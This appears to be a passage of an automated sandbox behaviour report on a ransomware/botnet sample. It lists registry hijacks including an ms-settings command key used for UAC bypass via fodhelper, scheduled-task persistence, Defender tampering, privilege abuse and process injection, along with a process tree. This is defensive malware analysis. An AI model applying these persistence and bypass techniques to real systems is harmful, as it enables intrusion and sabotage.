2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3500 schtasks.exe 3776 schtasks.exe 1196 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3192 chrome.exe 3192 chrome.exe 2936 powershell.exe 2936 powershell.exe 2936 powershell.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
pid Process 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2936 powershell.exe Token: SeShutdownPrivilege 3192 chrome.exe Token: SeCreatePagefilePrivilege 3192 chrome.exe Token: SeIncreaseQuotaPrivilege 4128 WMIC.exe Token: SeSecurityPrivilege 4128 WMIC.exe Token: SeTakeOwnershipPrivilege 4128 WMIC.exe Token: SeLoadDriverPrivilege 4128 WMIC.exe Token: SeSystemProfilePrivilege 4128 WMIC.exe Token: SeSystemtimePrivilege 4128 WMIC.exe Token: SeProfSingleProcessPrivilege 4128 WMIC.exe Token: SeIncBasePriorityPrivilege 4128 WMIC.exe Token: SeCreatePagefilePrivilege 4128 WMIC.exe Token: SeBackupPrivilege 4128 WMIC.exe Token: SeRestorePrivilege 4128 WMIC.exe Token: SeShutdownPrivilege 4128 WMIC.exe Token: SeDebugPrivilege 4128 WMIC.exe Token: SeSystemEnvironmentPrivilege 4128 WMIC.exe Token: SeRemoteShutdownPrivilege 4128 WMIC.exe Token: SeUndockPrivilege 4128 WMIC.exe Token: SeManageVolumePrivilege 4128 WMIC.exe Token: 33 4128 WMIC.exe Token: 34 4128 WMIC.exe Token: 35 4128 WMIC.exe Token: 36 4128 WMIC.exe Token: SeIncreaseQuotaPrivilege 4128 WMIC.exe Token: SeSecurityPrivilege 4128 WMIC.exe Token: SeTakeOwnershipPrivilege 4128 WMIC.exe Token: SeLoadDriverPrivilege 4128 WMIC.exe Token: SeSystemProfilePrivilege 4128 WMIC.exe Token: SeSystemtimePrivilege 4128 WMIC.exe Token: SeProfSingleProcessPrivilege 4128 WMIC.exe Token: SeIncBasePriorityPrivilege 4128 WMIC.exe Token: SeCreatePagefilePrivilege 4128 WMIC.exe Token: SeBackupPrivilege 4128 WMIC.exe Token: SeRestorePrivilege 4128 WMIC.exe Token: SeShutdownPrivilege 4128 WMIC.exe Token: SeDebugPrivilege 4128 WMIC.exe Token: SeSystemEnvironmentPrivilege 4128 WMIC.exe Token: SeRemoteShutdownPrivilege 4128 WMIC.exe Token: SeUndockPrivilege 4128 WMIC.exe Token: SeManageVolumePrivilege 4128 WMIC.exe Token: 33 4128 WMIC.exe Token: 34 4128 WMIC.exe Token: 35 4128 WMIC.exe Token: 36 4128 WMIC.exe Token: SeBackupPrivilege 2476 vssvc.exe Token: SeRestorePrivilege 2476 vssvc.exe Token: SeAuditPrivilege 2476 vssvc.exe Token: SeShutdownPrivilege 3192 chrome.exe Token: SeCreatePagefilePrivilege 3192 chrome.exe Token: SeShutdownPrivilege 3192 chrome.exe Token: SeCreatePagefilePrivilege 3192 chrome.exe Token: SeShutdownPrivilege 3192 chrome.exe Token: SeCreatePagefilePrivilege 3192 chrome.exe Token: SeDebugPrivilege 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe Token: SeShutdownPrivilege 3192 chrome.exe Token: SeCreatePagefilePrivilege 3192 chrome.exe Token: SeShutdownPrivilege 3192 chrome.exe Token: SeCreatePagefilePrivilege 3192 chrome.exe Token: SeShutdownPrivilege 3192 chrome.exe Token: SeCreatePagefilePrivilege 3192 chrome.exe Token: SeIncBasePriorityPrivilege 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe Token: SeShutdownPrivilege 3192 chrome.exe Token: SeCreatePagefilePrivilege 3192 chrome.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe - Suspicious use of SendNotifyMessage 16 IoCs
pid Process 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe 3192 chrome.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3760 wrote to memory of 3192 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 80 PID 3192 wrote to memory of 1036 3192 chrome.exe 81 PID 3760 wrote to memory of 2936 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 82 PID 3760 wrote to memory of 3660 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 84 PID 3760 wrote to memory of 4100 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 172 PID 3760 wrote to memory of 2536 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 88 PID 3760 wrote to memory of 3584 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 90 PID 3192 wrote to memory of 2516 3192 chrome.exe 92 PID 3192 wrote to memory of 4940 3192 chrome.exe 93 PID 3192 wrote to memory of 2516 3192 chrome.exe 92 PID 3192 wrote to memory of 2688 3192 chrome.exe 97 PID 3192 wrote to memory of 3020 3192 chrome.exe 98 PID 3192 wrote to memory of 2688 3192 chrome.exe 97 PID 3192 wrote to memory of 3020 3192 chrome.exe 98 PID 3760 wrote to memory of 1808 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 134 PID 3192 wrote to memory of 4068 3192 chrome.exe 96 PID 3192 wrote to memory of 4068 3192 chrome.exe 96 PID 3192 wrote to memory of 1660 3192 chrome.exe 100 PID 3192 wrote to memory of 1660 3192 chrome.exe 100 PID 3760 wrote to memory of 4188 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 102 PID 3760 wrote to memory of 1684 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 104 PID 3760 wrote to memory of 4732 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 106 PID 3760 wrote to memory of 5108 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 108 PID 3760 wrote to memory of 4084 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 109 PID 3760 wrote to memory of 1736 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 111 PID 3760 wrote to memory of 4860 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 163 PID 3760 wrote to memory of 4128 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 162 PID 5108 wrote to memory of 1272 5108 fodhelper.exe 119 PID 3760 wrote to memory of 4548 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 121 PID 3192 wrote to memory of 4092 3192 chrome.exe 122 PID 3192 wrote to memory of 4092 3192 chrome.exe 122 PID 3760 wrote to memory of 3500 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 140 PID 3760 wrote to memory of 3776 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 125 PID 3760 wrote to memory of 1716 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 130 PID 3760 wrote to memory of 5080 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 131 PID 3760 wrote to memory of 1676 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 133 PID 3760 wrote to memory of 1808 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 134 PID 3760 wrote to memory of 764 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 135 PID 3760 wrote to memory of 3392 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 136 PID 3760 wrote to memory of 292 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 137 PID 3760 wrote to memory of 3580 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 138 PID 3760 wrote to memory of 1196 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 139 PID 3760 wrote to memory of 4672 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 147 PID 3580 wrote to memory of 3236 3580 cmd.exe 148 PID 5080 wrote to memory of 2368 5080 cmd.exe 167 PID 3392 wrote to memory of 4148 3392 cmd.exe 150 PID 3760 wrote to memory of 4116 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 151 PID 3760 wrote to memory of 4996 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 152 PID 3760 wrote to memory of 1412 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 155 PID 292 wrote to memory of 2428 292 cmd.exe 157 PID 3760 wrote to memory of 612 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 158 PID 3760 wrote to memory of 856 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 161 PID 3760 wrote to memory of 4128 3760 2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe 162 PID 4148 wrote to memory of 4544 4148 net.exe 160 PID 1676 wrote to memory of 3524 1676 cmd.exe 165 PID 764 wrote to memory of 3840 764 cmd.exe 166 PID 1808 wrote to memory of 2368 1808 cmd.exe 167 PID 1412 wrote to memory of 3164 1412 net.exe 168 PID 5080 wrote to memory of 2680 5080 cmd.exe 169 PID 3192 wrote to memory of 4972 3192 chrome.exe 170 PID 3192 wrote to memory of 2432 3192 chrome.exe 174 PID 3192 wrote to memory of 3388 3192 chrome.exe 175 PID 3192 wrote to memory of 1664 3192 chrome.exe 176 PID 3192 wrote to memory of 1672 3192 chrome.exe 186 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3760 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://scentofobsession.com2⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3192 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffca819c728,0x7ffca819c734,0x7ffca819c7403⤵PID:1036
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1580,i,8958864214859633345,647964442569349866,262144 --field-trial-handle=1908,i,1794916304540972662,18074935416984934374,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1896 /prefetch:23⤵PID:2516
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2136,i,16643119602797294603,14763773085173301830,524288 --field-trial-handle=1908,i,1794916304540972662,18074935416984934374,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2144 /prefetch:113⤵
- System Time Discovery
PID:4940
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2260,i,2901453868438444564,8591316996053402993,524288 --field-trial-handle=1908,i,1794916304540972662,18074935416984934374,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2712 /prefetch:133⤵PID:4068
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2960,i,16722623084823218028,14726667782712489571,2097152 --field-trial-handle=1908,i,1794916304540972662,18074935416984934374,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3084 /prefetch:13⤵PID:2688
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2968,i,16334229160391483070,14542125757059174038,2097152 --field-trial-handle=1908,i,1794916304540972662,18074935416984934374,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3144 /prefetch:13⤵PID:3020
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4280,i,2580714202111658164,2470089582393619991,2097152 --field-trial-handle=1908,i,1794916304540972662,18074935416984934374,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4276 /prefetch:93⤵PID:1660
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4712,i,4869792177834493886,9790551266491222351,2097152 --field-trial-handle=1908,i,1794916304540972662,18074935416984934374,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4716 /prefetch:13⤵PID:4092
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5340,i,16783600219911622945,3427951124111023132,524288 --field-trial-handle=1908,i,1794916304540972662,18074935416984934374,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5460 /prefetch:143⤵PID:4972
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3192,i,12782222699742938101,6837762686171897655,524288 --field-trial-handle=1908,i,1794916304540972662,18074935416984934374,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3152 /prefetch:143⤵PID:2432
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3372,i,9920165380118579067,8532139288409729627,524288 --field-trial-handle=1908,i,1794916304540972662,18074935416984934374,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4604 /prefetch:143⤵PID:3388
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4260,i,12695956824006493777,15642108120800999236,524288 --field-trial-handle=1908,i,1794916304540972662,18074935416984934374,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5344 /prefetch:143⤵PID:1664
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5332,i,6096249205197357814,14081768447414673838,262144 --field-trial-handle=1908,i,1794916304540972662,18074935416984934374,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3160 /prefetch:103⤵PID:1672
-
-
-
